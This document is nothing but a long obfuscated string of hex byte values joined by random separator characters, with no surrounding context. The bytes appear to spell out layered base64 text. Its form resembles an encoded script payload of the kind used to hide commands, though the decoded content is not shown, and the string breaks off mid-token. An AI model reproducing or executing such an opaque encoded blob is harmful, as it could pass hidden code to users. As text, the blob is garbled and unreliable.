77:41_33r41r44&4d&41Z5a{51Z41Z30{41Z47Z51_41r4e<41Z42Z6d{41l47Z51l41l59l51&42l6c&41:47Z49r41r59r51r42{68<41:44l4d<41_59:51:41&78_41r44r49_41<59r51_41r79<41&47:59{41{5a:41&42r69&41:47l45{41:4fr51_42r6a_41:44r51:41_4f<51l42Z6a<41{47<49r41<5a<41:41l78r41&44r63:41<4d<41Z41l34_41_47l55r41&5al67_42:6dl41{44<63r41<4fl41r42&6b:41Z44:49{41&4f<41_41&33_41Z47:45<41r5aZ67<41r78l41_44{6b<41:4e{67:41l31Z41_44Z6bl41<4dl77&42<69:41r47{59<41r5a:67&41Z35<41<44l63l41<5al67&41{77<41_47&59l41:4dl41Z42<69:41l47{55l41{4e<41Z41_7a_41r47r4d{41{5a&41{41l33l41&44{4d{41l4e{41Z42&6ar41{44l55Z41&59r77r42_6d:41r44Z51_41&4f<51_41Z33l41Z47Z51&41{4dr41Z41:78{41&44&63&41:4fZ41{41:33l41{47<49<41Z4e&77l42:6c<41r47:4d_41_4fZ41_41:79_41{44:59<41{59&77Z41_30r41l47_4d:41_4e&41l41{79l41<44:67:41l59<77Z41<33:41&44&4d_41{4f:51l41r31:41:44_67l41&4e{77:41{32r41&44<49&41&4fl51_41l31l41&47:51Z41{5a:51&42:6cl41r44<4d{41{4f:41{41<78:41:44l67&41&4e&67&42{6a<41{47&45{41&4el51&42{6cZ41:44{6bl41r4eZ67{41{34:41_44r67r41:59_51l41r33Z41:44Z4d_41Z4e&41<42_68r41r44&41l41l4d&41<41_7al41_47<49_41{4dZ41&41_77r41<47{51:41r59l77Z41&78&41r44r67&41{4d&67r41{31Z41&44:41&41_4d&67Z41<32r41:47{49<41{4fZ51_42<68:41:47{55&41l4f{41r41<33<41Z44_67Z41&4f_41r41Z32Z41:44_63:41_4d<67{41r32r41{44r51&41{4d_41_41_35Z41_47&51Z41l4eZ67r41:31Z41<44l49Z41:59_67_41_34:41r44&51Z41Z59r51_41_31{41_44&63&41:5a_51Z42l69<41<47Z45<41_5ar67_42r6dZ41&44<63{41l4d<41r42:6bZ41{44<45l41Z4d:51_41r32r41{44<41<41:4d{77:41Z78r41r44_59r41_4fr51:42{6a:41l47{49l41{4f:51:42<6d{41_44_6br41Z5aZ51{42Z6a&41:44Z45:41r4dl67l41:31&41<44r4d&41_4fl41l41_34{41l44:67{41Z5a:51l41:33Z41{44l6b&41r4dr67Z41<32r41<44:41r41:4fZ51{41l30&41l44Z45<41_4f:41:42l6b_41:47:51r41Z4el77&41Z77<41:47:59l41{4el67l42{6cr41&47&4dl41{59l77:42l6dZ41&47_55:41Z59:51&41<35{41&44r51l41<5al41:41Z31_41Z44Z4d{41l4eZ41&41&30<41Z44<49<41Z5al67&42<6d{41Z47<51r41:4dZ67Z41Z30:41&44<63Z41{4e_51r41l7a:41r44_49Z41l59{51r41&34{41_47r45&41Z4f:51&41_33<41l47Z59<41&4dr67_41{32r41<44_51&41l5al67:41l77{41Z47_4d&41_4eZ67&41&32Z41:47{51Z41<4d:41Z41Z32&41_44l6bl41_59&51:41{33_41r44<55&41r5a&51l41_33_41_47:49{41r59<77:41&78Z41&44{55Z41<59r51:42Z6bl41<44l51l41_4e{41l41r78:41_44{41l41r59_67<42{6c<41_47l45<41r59{67&42<6ar41<47{4d&41&59r51l41_33<41&47<51r41{59{77r41r7a<41r44_59_41{4f&51Z41Z35r41_44:41l41r4d_67<41<31&41:44l51{41&5al67_41r78l41r44r49<41{5a:67<42_6a_41{47{59r41_4d:77<41:77{41{44Z4dr41r4eZ67Z41r35:41<44<4d{41Z5a:51{42_6b_41:47&4d{41{59l67r41&31r41r44_55<41_4dl77_42&6c{41r44&49:41l59Z51l42<6c_41r47r49l41:59Z77{41_7al41:44&4dr41_5a_67<41_77_41{44l49_41{4d:67r42:68:41{44:49Z41r4e&77:41l33_41<44:55Z41Z4d<77l41<32Z41<44_45{41l4d{41&41:33<41{47&51_41{5a_67r41l31:41_47_55r41_4eZ41l41_78&41&47l55&41{4e{41r42<6b&41Z44<67r41<4eZ67Z42l6b_41r47l59l41l4dr41r42&68<41l47_45r41{4dr51r41_30:41l47r51l41<4e_51r41Z32Z41{47r55&41<5a:51{41_30l41r44&4dl41l4d<41l41{7aZ41{47{49Z41r5a<51r42<6b&41{47{4d:41_4e_41Z41r32<41&44{41{41:4e&51Z41_77:41l47{4d<41_59&51{42Z6al41l44{6b_41Z5a&67l42r6c<41:47<55&41Z5a&51l41&34r41&44:49:41l5a{51<41&32_41l47&55Z41:59r67{42r6br41l47&45{41l4d:41_41r79r41&44l45r41_59Z51<41<35:41{44_67:41{59<77&42:68:41{44Z67&41r4dZ77:42&6c<41<47<49Z41Z5a&41r42_6a:41r44r45:41Z5a_41&41&35l41Z44{45<41{4e{51<41<31_41Z47Z55:41l4e&67:42_6dl41_44:63:41&4d_67&42_6b:41Z44l67l41_4e&41_41l34<41{44_51<41l5a:51&41r33Z41r47&4d{41_5aZ67&42&6b<41l47<55:41:4d&51r42<6cl41:44l55Z41<4d&77:41&33Z41{47&45l41<4dr77<41{35:41l47r59{41<4d<41_41<77{41{44r55_41Z4d_77<42Z6dZ41&44_49Z41:4f_51Z41l31r41r44&67Z41&59_77{41Z32_41<47:45l41Z4e<51&41Z31Z41:47&45_41l5a_67<42<6cr41Z47r4dr41:59l67l41<7ar41:44l4dZ41:4d&51&41{33Z41:44&51<41<4f_51:41r30<41r47&49<41Z4fl51_42l6aZ41&44<49{41{4e&41Z41l30l41r44<4dZ41r5a{51<42<6br41{44<51_41r4eZ67l41{33Z41&44&51_41_4dr41<41<77Z41<47:4d<41Z4dl51<42r6cl41{44r67r41:4e_51{42l68r41r44<45<41r4d{51{42l6d<41&44_4d{41_4f:51{42_6b:41_44<4d:41r59{51{41:32Z41{44r6b&41&4fl51&42{6c:41_44l45Z41Z4d&41{41_32l41Z44<41Z41{4d:41_41{7a&41_47<51{41:4e:51Z41r30<41Z44r45_41_59r51Z42r6c_41&44<55<41r59<67r42{6d_41l47<51:41{4d&67{41&78&41r47l4d&41Z4dr41:42l6d{41r44{51<41Z4f:51&41<79r41{44:67Z41l4e_67&41r79r41{47_49Z41r59{67_41Z33_41Z44:59<41&5aZ67:41&33r41_44&67Z41&5al67r41{31_41:44r59<41_4e:41<41{33&41:44r49<41<4f&41<41<78&41l47r49<41l5al67Z41_78_41_47_59:41l4e<67r41l31<41_44l6b&41&59l51l42_68_41{47{51:41Z59_67&41<32<41_47<4d:41_4fl41<42<6a:41<44_59&41l4d{67:41_77&41&47r51r41Z5a_67Z41{31{41{47r59_41{59{51r42_6b&41Z47_51:41r5aZ41Z41l79:41{47Z45<41&4f{41&42{6bZ41{47Z59_41l5aZ67&42r6dl41r44{4d{41l4dr77_41&31&41:44l45:41Z59:77&41l78{41l44l67r41:4d{77_41l35{41:44r55_41&4dZ67Z41&7a{41r44_51r41<5a_51{42r6a_41&47Z4d<41Z4er41r41&7a:41r47{4d<41Z4d&77&41Z31{41<44&6b{41{5a{41l41<79r41_47{51l41<5a_51l42_6a_41r44{49:41_5a_67Z41_30{41r47:4d&41l4dr67<41:31:41_44<55:41l4e_67_41Z30<41{44<49Z41&4d&67_41&77&41{44{45_41&5a{41_42&6dr41&47:59r41l4d<67<42<68r41Z44r41r41l4e<41:41_34:41Z44:63<41:4d{51l41{31<41Z44&41l41l59:51r41r35:41&44{45:41{5a_67{42{6aZ41:44{49l41_5a{51Z41r34<41{47r4dl41{5a{67l41:32:41{47l55<41:4e:67r42_6bl41:44<51r41{4d_77<41Z77<41l47r45{41l4d<67l42_6c&41l47<49l41r4eZ51<42_6d&41_44&67_41l4e_51Z41<7al41_47l45r41:4fl51<42{6d{41Z47&51r41_59&51&42l68{41r44Z4d<41Z4fZ41l41:34:41r44:41r41{4f_51<41_34r41&44r55Z41&59l77{42Z68l41:44l51Z41<4eZ41&42&68{41&44r49_41{5a:51:41{35<41<44_63r41:5al67_41:79Z41_44<55:41l59&51{41{30&41:44:67_41r4f&41<41{79&41<44l67Z41l4eZ41l41&79r41Z44:59Z41r4e<67{41r30&41:44&4dl41_59_67r42{6b&41<44&6b<41Z59:51&42:69&41{47{4d&41{5a:51{41{79r41l44r4dl41_59Z77:42_6b:41_44<67:41r5a:41r41r79<41_44Z55r41:4e<67&41:33l41{44r63{41_5a:67l41:33<41:44l67_41{4d&51_41Z34{41{47<51{41Z4fl51l41l79Z41{44_4d:41r59{67<41l7a&41<47{55&41_59l51l41<34Z41_44<59l41_4e{67:42{68r41&44l45r41_4e:67{42:68:41r44:51&41:4dZ51:42r6dl41_44{51l41r4d:77{41Z30_41Z44l59{41_59Z51&41l79Z41Z44l45&41:4f&51{42Z6a&41:44<4d{41_4dr77:41_34_41{44:4d:41l4e_77<42<6c<41r44:45_41_4d<41&41l32&41r44l6br41_59r67r42&6d&41r44l51{41{4e<67:41Z31&41Z47<59&41{4e:51:41l35Z41r44Z59r41r5a:41<42{68l41{44&41{41:5ar67Z41_32l41:44:49Z41r4f&51r41{77<41{44{67l41<5ar51<42r6d&41Z44_45<41<5ar67:41:30&41&47:49<41{4e<67_41:34l41_44Z51l41r4d&77&42l6a_41&47<49l41&5a_67&41:32<41&47<49{41l4eZ67l41r30l41<44:63Z41r4e:41_41{32l41l44r55Z41l5a{51{41Z77:41<44_67r41{4d:51l42r68<41l47r49{41{59:77&41:30_41<47_51:41r59Z51<42Z6bl41_44{41_41l59<51_42Z6b_41_47{45Z41:59<77{41r78l41Z44r63&41l5a<51l41&7a&41Z44l45<41_4er77<41_79_41{44{63{41{4dZ77&41_30_41:47l49_41_4d&41l41&35<41{44_63<41{4fZ41Z41{32{41&44<67_41Z5a{67<41Z32&41l44:49r41{5al67l41l32_41&44l49&41{4e:51l41_77{41Z44<41{41Z4er51l41l35_41_47&59&41r4e{77l42r6c_41_44r41&41&4d:51r42:6d<41r47r4d&41Z4dl41<41{33Z41Z47:51Z41Z4er77_41l77_41r47:55_41:4e:67Z42Z68l41Z44Z59r41{59r51<41&77l41Z47<59<41{4dl67r41<31Z41r44l51_41{4f:51:41Z34&41&44{41_41{4f:51r42&6a<41_47_4dr41_59<67&41&31<41:44r63_41l4d<67Z41<78l41Z47<49_41_4e&41&42:6cZ41&44_51r41r4eZ41{42r6d_41<44&6b_41&59&77r41l34Z41:47&51:41&4e&51Z42{68l41r47r55l41r5al51_41l7aZ41l44<4dZ41Z59_67_41:7ar41_44{59<41_4f_41:41Z35<41&44:45l41<5a_51{41:35&41Z44{63l41Z5a<41:42l6bl41Z47Z45&41Z59{77<42:6c<41&44Z4d:41&4dZ51&41&7a_41{44r4d&41{59l51&42{68l41{47<4d<41r5a{41{42r6a_41Z47Z55:41r59Z51:41Z30_41r47&55:41_4e&41r42_6ar41_44{55<41{4e&51&41_35&41Z44<55:41&4d_77l42l6bl41r44{67:41:59&51&42l6ar41r47{49l41l4e<77r41{30<41l47:45:41:59<77:41_7al41{44{67_41<4fl41_42:6c&41l44&55{41:4dr51Z41:33:41_44Z49&41l4fr41_42r6d&41_47_51_41{4dZ41_41_31r41&47_51:41<59{51:42<6bl41r44&59&41Z4dZ41<41&31&41r47r55r41l5ar67_41Z79{41<44<6b:41Z4d:77r42_6cr41{47&51l41l4fl41&41:79Z41:47l51<41&4f:41_41_77&41<47l45l41Z59Z67{42l6c:41{44:51l41&4d{77:42Z6a<41{47Z59<41:4e_41r41l30<41&47:59Z41r4e&67&41l31_41_47:55:41{4e{67l42_6b:41_44l41&41&4d:67:42Z69{41r47&59:41{4e<67_41l7a{41l44{49&41Z59l77&41<34{41Z44l67Z41:59:67<41:7a{41r44<41_41_5a:41{42<6bZ41<44&49&41l4e&51_41&77r41{47r59:41l5ar51r41:34r41_44{41l41r4fZ41<41r35r41Z47{4dZ41Z4er77l41&34Z41{47Z55:41r59:77{41_33Z41&47l55r41{5a:51Z41_34r41&44:49l41r4d:41l42&6d_41{44Z49{41l4d_51Z41{35l41l47&59Z41<5a&51_41:32Z41:44_49r41_4e_77_42r69<41l47_49:41l4dl41&41r35<41r44Z49l41l4e{41r42:6d{41l47_55_41&4e{51&42{6bZ41:44&49r41r4f&41_41:77_41r44_6br41:5a<41<42{68r41:44:51r41l4dZ67<41l35<41_47<49:41<4e:51{41l32r41Z44&45<41{4f_41l41:7ar41_44r4d:41_4f<51_41<33Z41:44l55{41&5a{51<41Z35<41&47{45&41:59<67Z41Z7al41l47&49r41l4e&77<41r30l41_47<59l41{4e<51_41r77:41<47l59r41r4e&41l42<68Z41r44Z63<41<59l51r41{31:41<44&51<41_59:77l42{69_41:47Z59<41Z4e{41{41r31<41l47r4d&41_4dZ51<42Z69Z41<44Z51_41_4e{41Z41l31&41Z44<67Z41{4fZ41&42<6dl41<47{51{41l4el51Z42:68r41:44r6bZ41&59&77Z41_33l41{44_49_41_59l77:41{30&41l47{59Z41Z4e<41&42{6aZ41l44{45Z41r4eZ41r41{78_41:47r4d{41&4d:51:41r35<41:44&67{41&59{51_41:32Z41&47l4d:41<4dr77r42Z69l41<44r49_41r4e:77r42Z6c{41:44&45:41<5a:67Z41<31&41l44<55&41<4d{77<41l34<41&44:67{41Z4d_67<41l34l41<44<67_41l4er41_42:6dZ41_47l4d&41:59:77{41:78{41l44:49l41l4f&41{41{34Z41l47&51_41&4e{77Z41Z35l41{44_41&41_4eZ51<41l79r41_44<51_41l4d&67r42&69Z41{44{59Z41&4e&67_41:31r41r47Z55:41&4d_77_41&30l41<47_55l41r4dZ77Z42l6br41:47<59{41:4fZ41:41r78<41{44{55_41:4d{41{42_69l41{47<45_41Z5ar67l41r77l41&47l49:41{4e_67:41:32l41l47:51Z41_59r67l41:33{41l44_63<41r5a{51l42Z6ar41l47r49_41:5ar67&41l30&41:44_55Z41:4e&67Z41&7ar41:44{41l41l4dr41l41:35Z41l47&45r41_4er51{41Z79:41l44{45_41r4d_51:41Z33<41&44:4dZ41&4d<41<41{32{41<47<59_41l59_67<42_6c:41&44Z49_41_4dl41{42r6c{41l47_55Z41&59&67{41:31:41<44{63&41:4e:41{41l35_41r44{55r41{4fZ41_42&68{41<44&55<41Z4d_77{41{7a&41l47:49r41&4f&41_41Z7a&41_44:67r41l5ar51&41{77&41l44Z41{41_59<51<41<35l41{44{4dl41<59Z77{41r30Z41_44&41r41r4el77l41l35&41Z44:51r41{4er41Z41{79<41<47{51<41&4fl51{41:79_41Z44l45&41:4f{41:41r31_41{44_45r41&4d<51&42_6b_41l44r51:41{4f<41_41&34&41_44<45l41_4d&41l42l68r41r44l4d&41Z4e{67r41<79:41<44{55_41l4dl41_41:78r41{44{51:41{59<51&41l31<41{47:59_41<4e_41Z42&6cl41:44{59<41<4e{41l42<6al41l44{59&41&4el77{41<35Z41:44:45&41{59&51_42<6cl41_47{55<41:4f&41l42:6c_41<47&55<41l4d{67{41_7aZ41l44:59Z41l4e<67l41&77Z41l44:67&41:4f&51l41{34Z41_47Z49&41&5a_67r41Z31{41{47{49Z41Z5al41Z41_35r41{44&67_41{59<67r42_6dr41&44{49_41r4el67l41:32_41Z47r59l41l4dZ41{42Z6c{41&47Z59_41r4e<41_41{78Z41Z44<67Z41&59_67{41<7aZ41{44<6b<41<5a{51&41r30l41Z44_67Z41l4d{51{41_7ar41r47{55<41Z4f{51r42Z6b<41{44l6b{41r4d&51:41l33Z41<44&49:41l4e{41<41:78r41<47r59_41&4d<67r42{6dr41{47<55r41r5a:41<42r6b&41r44{67{41Z4e:51l41Z77r41r44&6b_41Z4el67_41&33r41r44{6bZ41:4d<51&42:69:41{47<55Z41Z4el77:41{35l41r47Z51<41&4d{77&41{78Z41<47Z4d_41l4e&51<42<6b_41r47&51l41&4dr67_42&6a:41r44<59&41:4d<51_41l34l41:47&49r41r5a<67<41{32<41Z44Z4d{41_4f{51r41Z30{41<47r45_41l4d<67_41{79&41&44&51l41{59{77&41_31l41{44<41:41<5al67<41r31Z41Z44_4d<41r4d_41_41:79&41:44Z63_41&4d<67&42Z6cl41r47{55r41<4dZ67&41{34<41<44Z67_41:4dr51l41&30Z41&47:4d&41_4eZ67<41r34_41Z44<59l41<4e:41_41_34&41_47_51Z41&4d{67:42:6c<41_44<49&41&59l77<41l77{41<44r45l41_5a&67r41r34_41_44:55l41<5ar41{42_68<41l44Z67r41r59:51:41<78l41r44l51l41l5al51r41_34&41_47r51Z41Z4e&41<42r6b_41&47_55<41r59l77{41<77<41{44<4d{41<4eZ51&41{35l41_47:55<41Z59_51r42&68{41{47{4dZ41&4eZ41_41Z79r41r47{49_41&4eZ41:41{34<41&44:51&41_5al41_42{6d<41&44l4dZ41<4f_51<41r78{41&44&45r41{4f:51&41{7a_41<44r41:41_4d&67:41{30:41&47&55{41_5a_67:41:35{41_44<51r41r59{67r41{79<41l44r4d&41<4el41{42l6c<41:44{55<41:59l51:42r6c&41Z44<59<41_4f:41:42Z68_41<44:63{41:4d<67_42{6c{41{44{51:41:5al67r41:34r41Z44r45r41<4e{51{41Z78&41Z44r49Z41Z4d&77&42:68r41{44{4dZ41Z4dZ41Z41<79_41Z44:49<41<4e{77<41{31l41:44{41l41{4f:41Z41Z78r41<47<59r41<5ar51{41_33l41r44Z59Z41l4fr51<42_6dl41Z47{4d{41Z4d{77<41<32r41{44_63:41r4e<41Z41l77_41<44{6b<41Z4eZ41{41:33_41:47r59{41:4d_41l41Z34{41{44{49l41&4e{77r41<78r41<44Z6bl41l59l67:41:34<41l44&55<41l4el51<42&6dZ41:44{4dr41Z5a&41:41l79Z41{47r45l41r59l67{42_69r41<47{51Z41<4d_41_42Z69l41&47<49Z41&5a<51Z41:34l41<44r55{41Z4d{51:41<78Z41{44r63Z41:4e<51&41:34l41Z47l49Z41<4f&41l42_69{41Z47r45Z41{4e&67<42_69<41Z47<49:41<5a&41{42Z6c:41_47<59<41r4dZ51<41r7a_41&47:51_41_5a<41:41_34r41<44l59<41l4f_41<41r32<41r44:49_41l4e{41<41r7a_41<44<55l41Z4e&41&41r34{41l47r51<41{5a:41r41&31r41Z44:41Z41<4dr51:42Z68{41:44&49_41l4d<67{41:77Z41:44_67l41&4d_67:42:6bl41:44&41Z41r59_51l42_6dl41<44l55&41&59&67_41Z31&41:47&49l41l5aZ67_41Z33:41{47:49{41&4d<41<41{7ar41:44_59&41r4eZ51{41r34l41l44<4dZ41l5al51_41&35{41l44:51Z41l4dl41l41Z34l41r47_55r41l4f:51Z41:30_41_44_55r41:4el41&42{6a:41r44Z45r41:5a_67<41<33:41&47<4dZ41<4e:41l42l6cr41_47r55Z41_5a{67:41<30&41:47:59Z41l4e{41<42:6dZ41l47l4dl41:59_67:41:33{41{44l63r41{4e<41r41l79Z41<47<49_41_59&77&41_7aZ41r47&59<41<4f{51<41{7aZ41&44_55<41:4d&77&42Z69<41{47r4d:41_4er51r41{7a<41r47_51<41:4e{51{41_35{41l47<55{41_59Z77r41r79_41:47r55r41:5a<51:41r32l41:44:63<41_4d_77&41_30<41l44_49r41{4dr41<41Z34Z41&44{55l41r4d:51<41r34_41Z44&4d_41{5a&67&41:30&41{44:4d<41r59&51l42r68&41<44_51{41&4f{51:42l6b{41Z44l51r41:5a{41l41Z33<41:47r4dZ41:4f:51r41{31:41{44{67<41:59&67{42<6bl41_44l6bZ41&4e:51&41{79l41&47_59r41<5a{41r41l32_41<47<51l41&4e_51Z41Z32_41{47Z59&41r4f_41r41&30:41r44r67:41l5a&41r42l69Z41Z47&49Z41_59:51<41<77Z41:44l59r41&4dl41<41Z33&41{47_51:41Z59<77<41Z34l41{44_4d<41:4e_51&41l78&41_47_59&41<59_77:41Z7a_41Z47r45Z41r5aZ67&41_7al41l47_49&41{5ar51<41Z79Z41r44<67{41{4d<51{42_69Z41Z44l63r41r59_77&41Z34&41&47{4d_41Z5a&51_42{6c<41r47:59<41{59l77:42<6cr41Z44&4dl41<59Z67&42Z68l41:44<6bl41{59l77l42{6b_41r44Z55&41{4e_51_41l35:41l47r4d:41{4e&77&41l31r41:47r55{41<4dr41Z42l69Z41<47Z49_41r5a&67r41&77_41&44r55r41:4f<51:41_31<41:47r59&41{59&51:41_30&41r47:4d{41&59l67l41Z79:41&47Z45r41l4e:41_42<68<41_47{4d_41{59l51Z42{6b:41l44r45:41:4f:51&42_6a&41:47r59&41r4fZ51{42:6bl41{44r59&41_4d&51<42Z6cZ41r47:45{41<4er77r42:6a<41Z44<67_41&4dl41r41{7a{41Z44{49l41l4el77{41<79_41<47<45_41&4dl77_41&31&41&44l49Z41:5a_67:41{34:41l44r67_41&4e&77_42<6bZ41<44l63_41&4d{77:41l78{41Z44_45&41r4e:41:41{33:41l44<4d_41l4d_67_41r32&41Z44&45Z41&59l67Z41l34r41{44r45&41<4el51_41l31l41l47<49_41_4f{51<41l32<41&44&41_41:4f&51_42&6br41Z47&55r41&4f<51Z41l7a<41l44<67<41:4f{51l41:33r41{47l4dl41{4d:67Z41{33_41r47Z45{41&4e{67r42Z6b<41l47l55:41l59<77Z41r31l41:44&6b&41l4f<41:42&69l41r44Z51l41{5a_41{41_78l41r47Z59:41:4d{77r42r68&41:47l51l41&5a:67:41_34<41<47&4dZ41l4er51r42l69r41<44{63{41<59r67<41_32l41l47l45r41{4d&41r42{6b<41{44&51r41l4e_51<41r33{41{44Z51l41_4e<41<41Z30r41:44<4d<41l59Z77l41<79{41_44l6b:41:4fZ51<41{30l41:47:45&41:59r77&41_31&41&44l63<41Z5a&51&42{6a&41l47l4dl41{59l67Z41:77_41{47{45Z41:5ar51r41<78<41l44<67r41_4e_41_41r77<41&44l67Z41{4fZ41Z41l7a_41{47{51:41_4d{41:41l77_41{47:49<41<4d&41_42Z68_41:47&49l41_5a_41<42<68r41<44{63r41_4e:67Z41&79r41:47l51l41r4e_67<42&6d_41{44{6bZ41Z4d{77Z42{6ar41r44Z67<41_4e:67_42_6c_41l44{63:41r59Z77r41Z7a&41<47{45{41l5a&41l42<6a<41:44r49&41&4e<67:42<68<41Z44l51&41l59&67_41&78l41&47<49_41Z4er77r42<6c:41l44l45{41r4dr77_41_35{41r44&67l41l4d&67<42Z69_41&44l41r41:4e_77&41:79r41:44:63:41Z4f{51&42Z68r41Z44&51&41&59_77&42{69Z41&44&59&41l5a_41_41:79:41{44_6b:41&4d&41_41&34&41&44_41l41&4d&67<42Z69{41{44{45&41r4el41<41r79_41&47&59r41Z4er41:42{6c<41l44&63l41<5aZ51:41_30r41Z44Z63<41_4e<77<41Z35<41<44&49_41{4f&41<41l7a:41l47{4d{41:4dr41&41Z77:41_47:45{41<4fr41:42&6al41_44_49Z41l4e&41l41{33_41r44:55:41:4dZ51<42<6bl41Z47Z51_41Z4fZ41Z41&34<41Z44:6br41r4e{67:42&6dl41<44:59&41<4e&51:42{6cl41:44&49:41l4d{77_41{33l41l44l51&41_5ar67:41<33l41{44_55_41{5ar41:41&30_41l44r63<41_59&77l41Z77l41{44_59<41&4eZ67:41<33:41:47&55{41<4fZ51<41_78Z41l44Z63:41_4d:41:41Z33{41r44&49:41_59Z77{42Z69{41r44{51{41<4d:77Z41Z32<41r47&45l41Z5al67_41<32&41_47Z55&41:4dZ41<41_79&41&44r4d<41r4f_41{42{68_41&44{55_41<5a{67l41Z32Z41{47_59_41:5a{51_41<31l41{47{59l41l4f<51:41Z34l41Z47Z59{41r4eZ67l42{6ar41_47Z59:41&4d:77{41r33<41_44:4dr41_4f{51l41:33<41:44r51r41l4dr51_42l6c<41r47_45l41_4e&77r42<6bl41_47_45<41{4eZ67<42{6d<41_44r49r41l4d_51_42Z6bZ41l44&45{41&59r67Z41r33r41&44&45_41:4e_41l41_77l41<47<4d&41&4f<41:41{30l41Z44{45r41l4dZ41l41r78l41{44l55l41Z4f{51:41Z33&41r44:45&41l4e:51:42_6cl41&47&4dl41_4d_77l42Z69&41<44<51<41r5a<41<41_79Z41&44<45r41:4d<51_41Z30:41&47r45l41&4d{77<42<68_41_44_6b<41<4d<51Z41r79l41r44r4d&41&4d_77Z41Z33{41<44{4dl41<59_67l42<68&41r44l63l41<4eZ51Z41&32l41_47Z55l41l5a{41<42{6al41r47{55_41:59&51:41r78&41r44:45_41<4el41&42Z69:41&44r59_41&59:67{41r34l41Z47_59:41{4d:41r41:32{41{47{4dr41Z5al67r41<78<41Z47&59Z41&4dr67_41l30&41:44:55{41<4d<77&41l78r41Z44_51<41<4e<67&41l31{41Z47_49:41_4e{67Z41:35Z41&47<49<41<4fr51Z41r34_41Z44_67_41<59{67{41<7aZ41Z44_41l41l5a<41r42Z69Z41{44_51&41l4e&51Z42l6c&41Z47l51<41<4f<41_41<33{41{47l59Z41r5a<51&41<35<41{47&59&41l5a:51r42<6cl41&47{4d_41{4dZ41<42_6d{41r47r51&41&59&77<42&6dr41r44<45<41r5aZ67<41{32<41<47<45_41<4d&51{41Z30r41:44r6b{41&4d<51:41&32_41r44:49_41{4dl51_42_68r41r44:6b_41r4e:77{41r77_41:47_59Z41Z59Z67{41r30Z41_47{59l41{5a_67&41:32{41{44&59l41{4d<41<42{68{41:44Z41l41{4f:51Z41<33r41{44r51Z41Z4e_77{42<6ar41_44<51_41Z4e{77&42:6a:41:44r49&41<4e{77<41Z34{41_44:41_41l59_51r42Z6b<41<44r51_41Z4dl51r42Z69Z41r44l45r41l59l77l41l30l41<47Z4d&41{4d<67_42<6br41{44_45Z41{4d<77{42r68_41:44Z6b:41Z5a{51:42<6ar41<47{51r41<59r77:41:7a:41_44<45&41{4d<67{41<30l41r47:45r41r4eZ77r42_6ar41r47&51Z41:4er41{42Z68<41&47:59{41Z4e_51:41Z35_41<47&4dl41&4d&51&42{6a<41_47{55_41<4e_77l41:32&41_47&55&41r59&67<42r69&41_47Z45Z41<5a_51_41{32<41_44Z67{41:4d_51Z41Z7a{41r47l45l41&4f<51<41:32<41l47r51r41_4d_67<41r34&41<47r49:41r5aZ41r42_6dl41{44Z55l41<4e&67r42{6b&41l44&45_41r4f_51Z42:6a:41&44&51l41_4dZ51&41r33_41Z44l55l41:5a:51:42&6b&41&47_55l41&4el67Z42{6c{41l44l45_41{5ar67Z41_78<41:47{55Z41<4fr41Z42l68_41{44{51_41l4d{51:42r6a_41:44Z59:41Z4d{51r41:34{41&44l51_41Z5a:67r42l6cr41l47{59_41r5a:67r42l68l41r47<51r41:4d&51{42:6b&41l44l6b_41l59r67&42_6c&41<47&55l41r4d{77&41:34_41_47l4d<41{4fl51<41&31:41l44Z59l41_5aZ41Z41r31{41&44r51l41{59r51:41l32:41&47Z4d:41Z4e_51Z42<6br41<44:41Z41&59&67r42r6al41l44_49<41l4d&77r42:6a:41:44Z55&41&59&77:42Z6d_41&47:45<41{59&67{42r6d<41Z44<55<41Z4f<51:42&6c_41:47:4d<41l5a&51:41_78r41{44<41&41:59<67<41r31r41{47_55&41_4e<51r41_77{41Z47{4d<41r4f&41Z42Z69:41:44<4dZ41_59{51r41_33:41l44l49_41{5a<51Z42_6d<41r44Z51r41Z4f_41{41<79l41r44&55{41_4dl41_42l6dr41<44_45{41l59r77Z41Z7al41{44l49Z41<4d:77_41<32&41:44<63&41&4fl51r42l68:41l44r51:41&4e&67r41{7a&41_44Z41Z41{4d:67Z41<30Z41r44:49l41&5aZ51l41r78{41Z47l49r41r4e_77_41r32&41r44<41_41&4e&41l41l30:41_47_45:41Z4dl77_41l77_41{44<45Z41l59Z77l42&6cZ41r47r4d<41r4d&67:41l7a:41l47&55:41Z59{51l41<33:41<44_55{41Z4e&51:42:6d{41<44_59:41<59_67&42r6a{41Z44<51Z41l4e:67&41{30:41{44{63l41&4e_67Z42_68{41r47l4d_41<59{77&42_6b:41{44&63<41l59_77_41<77l41:44:45Z41_4d:41_42:69r41_47r55:41r4d{41_41<31&41<47r45_41&4d&67<41Z31_41_47l45&41_5al51:41:34{41r44<51Z41:5ar51r41r33Z41_44_49&41:59Z67Z41<31Z41Z44{45<41_59r77<42_6dr41&44{4d&41l59{67_41&33<41_47:51:41{4d{41<41r35l41{47<51Z41&5a&67Z42Z68r41<44Z59r41r4f{51<42<6aZ41:44_59r41l5ar41l41{30_41:44_41l41{5a_51l42{6cr41:47Z51&41{59<77<41r31_41r44l6bl41&4e&41r41_32r41_44_6b{41{4d{67<41r79<41Z47{59r41{4fl51_42:69l41:47Z45r41&4er77:41l34_41l44<41l41_59{77r42<6c_41<44Z51r41&59{51_41<7aZ41&47Z49_41<59&77_41Z35Z41r44Z45:41:4f&41<41r31&41&44l59:41_4e<51{42r6dl41&44{45{41&4e_77:42:68_41{44<4dl41l4e{67&41l33<41{44r67_41l4d:51r42{6a{41l44{67&41&4f:41Z41&34Z41&44Z55r41<4e:51r41l30_41_44l63_41l59{77_42{68&41:44l4d<41<4er51Z42_6dl41r44r59_41l59Z51:42_69&41r47{59:41{4e{67Z41{32{41l47r59Z41_4el41Z41_32r41l47_45:41l5aZ41&42r6c&41<44{59<41:4el41<42{6al41&44r63_41l5a{41l41{77{41:44r45<41{4dl51l41r31Z41l44<49:41&59l67Z42l6d:41&47{59&41&59_51l41:78:41:44r49_41&5a&67&41l31r41l47Z51l41Z59l77{41l32r41_47r51_41<5a_67<41{31Z41:47_45r41r5aZ51l42_6b<41:44l6b&41<59_67{42Z6b&41_44<63<41<4d:67_41{7a{41Z47&4d:41:4er51Z42{6a:41_47:59l41{4e_67_41_30l41{47<55l41{5a:41l42r6b_41Z44l6b&41_4e:41_42&6aZ41{47Z55Z41:59_51:41_34<41{47_59:41l5aZ51r41{32:41_44Z55l41&4d_51Z41Z78Z41r44&63Z41:5al51:42Z69{41r44_41l41:4f&51<42&6c<41r47l4dr41{59_67_41{78:41:44Z41<41r4f_41:42{6c{41:44l67l41l4d<77{42<6a<41Z44<63:41<59:67l42_6c&41:44Z63&41l59r77:41r34:41:44<41_41l4er51:42<6b:41<47&55<41:59l67l41l